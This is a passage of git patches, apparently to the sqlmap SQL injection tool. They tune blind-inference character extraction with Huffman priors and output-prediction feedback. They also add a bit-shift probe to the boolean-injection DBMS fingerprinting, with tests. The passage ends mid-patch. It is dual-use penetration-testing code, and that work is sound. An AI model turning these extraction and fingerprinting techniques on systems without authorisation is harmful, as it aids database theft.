ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b01cfaf542516bce373b0543fc74c0e25b32a8e5f75b6e9990e4e119347059b5 lib/core/settings.py +bfb81831c04059573ed0d17904242183f4d51065f235f00d437f7fc6ddcf33c7 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7543bca12..7233b0b7b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.150" +VERSION = "1.10.6.151" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From da66f1b3ecc458be465d416d2ec13bb18ac36bb7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 20:27:33 +0200 Subject: [PATCH 057/165] Adding HUFFMAN_PRIOR_WEIGHTS --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 12 +++++++++++- lib/techniques/blind/inference.py | 3 ++- 3 files changed, 15 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c231f69f4..7576be296 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -bfb81831c04059573ed0d17904242183f4d51065f235f00d437f7fc6ddcf33c7 lib/core/settings.py +90a49806b83a83f6402b3dd6e35f7f2468d3dbcc0cafc3c382bda6e248344609 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -232,7 +232,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -4dcc79ef8c6af69d9890f16e06cacad70c2e657770d8afca0e425833cd780f08 lib/techniques/blind/inference.py +63e2bc0e2fb6407760245b4f36d7430b626b9654bce51485b6cbf24717225246 lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7233b0b7b..b00474f0c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.151" +VERSION = "1.10.6.152" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -523,6 +523,16 @@ KEYSET_MIN_ROWS = 1000 # Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads) HUFFMAN_PROBE_LIMIT = 8 +# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently +# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common +# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online +# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen +# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here). +HUFFMAN_PRIOR_WEIGHTS = {} +for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")): + for _char in _chars: + HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index b1ec44a8d..3b2020233 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -43,6 +43,7 @@ from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT +from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR @@ -296,7 +297,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None heap = [] for order, ordinal in enumerate(xrange(128)): - heapq.heappush(heap, (model.get(ordinal, 0) + 1, order, (ordinal,))) + heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,))) counter = 129 From 57dcc04cbe2896784a487e187be79b7f9ae78aa8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 22:28:19 +0200 Subject: [PATCH 058/165] Minor improvements --- data/txt/sha256sums.txt | 8 ++--- lib/core/settings.py | 10 +++++- lib/techniques/blind/inference.py | 11 +++++++ lib/utils/dialect.py | 43 +++++++++++++++---------- tests/test_dialectdbms.py | 52 ++++++++++++++++++++++--------- 5 files changed, 87 insertions(+), 37 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7576be296..ee05cd0f8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -90a49806b83a83f6402b3dd6e35f7f2468d3dbcc0cafc3c382bda6e248344609 lib/core/settings.py +527ee951185f691c68638f03d4da8f9bc894a93f1a791865fc2cc0992ad5f03e lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -232,7 +232,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -63e2bc0e2fb6407760245b4f36d7430b626b9654bce51485b6cbf24717225246 lib/techniques/blind/inference.py +a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -247,7 +247,7 @@ aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api. 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py -0fd055877e8b21d17c11447dac7f91ef1766e0b04d470c494a6d98f5249e3186 lib/utils/dialect.py +b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py @@ -584,7 +584,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py -9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py +b6d8a4bc9c46a332a2dc7b3cf862ea67e38b5c5701cfd8eb3556021f6b611416 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 7f12466974394312dad3d98651ef8a50d1585bee0f8cd25da0b77b08c2047e46 tests/test_dns_engine.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b00474f0c..00e323109 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.152" +VERSION = "1.10.6.153" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -533,6 +533,14 @@ for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), ( for _char in _chars: HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight +# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output +# pool for their enumeration context, so later same-context items that share structure (e.g. +# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from +# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge +# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection. +PREDICTION_FEEDBACK_MAX_LENGTH = 128 +PREDICTION_FEEDBACK_MAX_ITEMS = 10000 + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 3b2020233..46a99430c 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -44,6 +44,8 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS +from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS +from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR @@ -828,6 +830,15 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one hashDBWrite(expression, finalValue) + + # Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted + # value for its enumeration context so later same-context items sharing structure are predicted + # faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool); + # a wrong prediction only ever costs a probe and falls back to bisection. + if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None + and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH + and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): + kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py index 1d225c3d2..3be67eac8 100644 --- a/lib/utils/dialect.py +++ b/lib/utils/dialect.py @@ -28,23 +28,28 @@ from lib.request.inject import checkBooleanExpression # OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing # false positives. See PROVE_DESIGN.md.) # -# Truth table measured on a live OWASP-CRS platform across 11 engines (MySQL, MariaDB/TiDB, -# PostgreSQL, CockroachDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, Derby); -# only the zero-false-positive rules are kept (see _classify). With anchor value 2: +# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB, +# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, +# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With +# anchor value 2: # -# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) vs -# no such operator (SQLite/Oracle/... -> error, so false) -# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB: 2^3=8) - false for XOR dialects +# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) +# vs no such operator (SQLite/Oracle/... -> error, so false) +# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB/CrateDB: 2^3=8) - false for XOR dialects # (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT: # '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB # also use it (neither on the platform), so this can read as PostgreSQL there. -# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite) vs real division (MySQL/Oracle: 2.5) +# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite/MonetDB) vs real division (MySQL/Oracle: 2.5) # * 2|0=2 -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2) +# * 1<<2=4 -> a bit-shift operator exists. MonetDB shares MSSQL's (xor, intdiv) = (True, True) +# signature exactly, which would misread MonetDB as SQL Server; MonetDB HAS '<<' while +# SQL Server has NO shift operator (any version) -> this probe splits that one collision. DIALECT_PROBES = ( ("xor", "2^0=2"), ("pgpow", "2^3=8"), ("intdiv", "5/2=2"), ("bitor", "2|0=2"), + ("shift", "1<<2=4"), ) def _classify(signature): @@ -58,28 +63,32 @@ def _classify(signature): all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or a fully WAF-blocked channel also produces) deliberately fall through to None: - >>> _classify((True, False, False, True)) # MySQL / MariaDB / TiDB + >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB 'MySQL' - >>> _classify((True, False, True, True)) # Microsoft SQL Server + >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) 'Microsoft SQL Server' - >>> _classify((False, True, True, True)) # PostgreSQL + >>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<') + 'MonetDB' + >>> _classify((False, True, True, True, False)) # PostgreSQL 'PostgreSQL' - >>> _classify((False, True, False, True)) # CockroachDB (pgwire) -> PostgreSQL family + >>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family 'PostgreSQL' - >>> _classify((False, False, True, True)) # SQLite + >>> _classify((False, False, True, True, True)) # SQLite 'SQLite' - >>> _classify((False, False, True, False)) is None # Firebird/HSQLDB/Derby/H2 -> no prior + >>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior True - >>> _classify((False, False, False, False)) is None # all-false (Oracle/ClickHouse/blocked) -> no prior + >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior True """ - xor, pgpow, intdiv, bitor = signature + xor, pgpow, intdiv, bitor, shift = signature if pgpow: # '^' is exponentiation -> PostgreSQL family return DBMS.PGSQL - if xor and intdiv: # '^' is XOR AND integer division -> SQL Server - return DBMS.MSSQL + if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ... + # ... except MonetDB shares this exact signature; it alone has a working bit-shift operator + # ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines). + return DBMS.MONETDB if shift else DBMS.MSSQL if xor and not intdiv: # '^' is XOR AND real division -> MySQL family return DBMS.MYSQL if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 6b464cbc5..81de07ece 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -28,46 +28,68 @@ from lib.utils.dialect import _classify from lib.utils.dialect import dialectCheckDbms # measured 2026-06 across the sqli-platform (boolean form "id=2 AND ", anchor value 2); -# signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2) +# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs- +# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the +# shift flag does NOT change the classification, which the test proves by trying it both ways. MEASURED = { "mysql": ((True, False, False, True), DBMS.MYSQL), + "mysql5": ((True, False, False, True), DBMS.MYSQL), "tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible - "mssql": ((True, False, True, True), DBMS.MSSQL), "postgres": ((False, True, True, True), DBMS.PGSQL), "cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division) + "cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family "sqlite": ((False, False, True, True), DBMS.SQLITE), # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) "firebird": ((False, False, True, False), None), "hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2 "derby": ((False, False, True, False), None), "h2": ((False, False, True, False), None), + "trino": ((False, False, True, False), None), + "iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel "clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel } +# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv) +# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does. +SHIFT_SENSITIVE = { + "mssql": ((True, False, True, True, False), DBMS.MSSQL), + "monetdb": ((True, False, True, True, True), DBMS.MONETDB), +} + class TestDialectClassification(unittest.TestCase): - def test_measured_engines_map_as_expected(self): - for engine, (signature, expected) in MEASURED.items(): + def test_shift_sensitive_engines_split_correctly(self): + # MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift + # probe); 1<<2=4 (MonetDB only) now separates them. + for engine, (signature, expected) in SHIFT_SENSITIVE.items(): self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) + def test_measured_engines_map_as_expected(self): + # for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the + # expected DBMS (proves the new probe never perturbs the existing classifications). + for engine, (base, expected) in MEASURED.items(): + for shift in (False, True): + self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift)) + def test_no_false_positive_across_measured_set(self): - # ambiguous engines must not borrow a major-DBMS identity; concrete ones must stay in range - for engine, (signature, expected) in MEASURED.items(): - result = _classify(signature) - if expected is None: - self.assertIsNone(result, "ambiguous engine %r leaked a DBMS prior" % engine) - else: - self.assertIn(result, (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.ORACLE)) + for engine, (base, expected) in MEASURED.items(): + for shift in (False, True): + result = _classify(base + (shift,)) + if expected is None: + self.assertIsNone(result, "ambiguous engine %r leaked a DBMS prior" % engine) + else: + self.assertIn(result, (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.MONETDB, DBMS.ORACLE)) def test_all_error_signature_yields_no_prior(self): - # an all-error signature (Oracle, ClickHouse, or simply a WAF-blocked channel) is not + # an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not # distinctive enough - it must NOT be guessed as any DBMS - self.assertIsNone(_classify((False, False, False, False))) + self.assertIsNone(_classify((False, False, False, False, False))) + self.assertIsNone(_classify((False, False, False, False, True))) def test_pgpow_dominates_as_postgres_marker(self): # exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour - self.assertEqual(_classify((False, True, True, True)), DBMS.PGSQL) - self.assertEqual(_classify((False, True, False, True)), DBMS.PGSQL) + self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL) + self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL) class TestDialectCheckDbmsGuard(unittest.TestCase): From 0cfa88e50e2dd112273454aad26fc114ca16547a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 22:40:50 +0200 Subject: [PATCH 059/165] Minor patch --- data/txt/sha256sums.txt | 4 ++-- data/xml/errors.xml | 3 ++- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ee05cd0f8..614668f17 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -77,7 +77,7 @@ a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banne e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml -0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml +23c3ac7f73c4db5beaf9df06c39a63571b29b3f3bee161e182a62c7fcc563054 data/xml/errors.xml 43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673 data/xml/payloads/boolean_blind.xml c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/payloads/error_based.xml 516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -527ee951185f691c68638f03d4da8f9bc894a93f1a791865fc2cc0992ad5f03e lib/core/settings.py +530fae56ab8dfd3f7b68a973f2e42d47d8061a42e03b56b40350f50423ea8935 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 1b34d5515..f066da0b9 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -179,6 +179,7 @@ +
@@ -224,7 +225,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 00e323109..748bf5308 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.153" +VERSION = "1.10.6.154" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a2bbca1ee34d97f12066dbae025306eeaa7b1188 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 23:20:09 +0200 Subject: [PATCH 060/165] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/dicts.py | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 614668f17..89144295d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -175,7 +175,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -7ce2c09ebcd63d57f7b6751f70f536e2a562230d51181eb24f5024bb6f3d74cc lib/core/dicts.py +8b9033027229db2b44134cc8bf3a47db1165ef64a13ebeccc6394d9d6453998d lib/core/dicts.py a3125c682e891f67255b89d2db891cbaae241f36dd277a272ae6db943111a157 lib/core/dump.py 6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -530fae56ab8dfd3f7b68a973f2e42d47d8061a42e03b56b40350f50423ea8935 lib/core/settings.py +dde396241b71e93a6ee1a9a07b0726d6674dde7aeed05cb80ecb96cce0e78612 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 6d3864328..aa191a20f 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -286,9 +286,9 @@ HEURISTIC_NULL_EVAL = { DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: 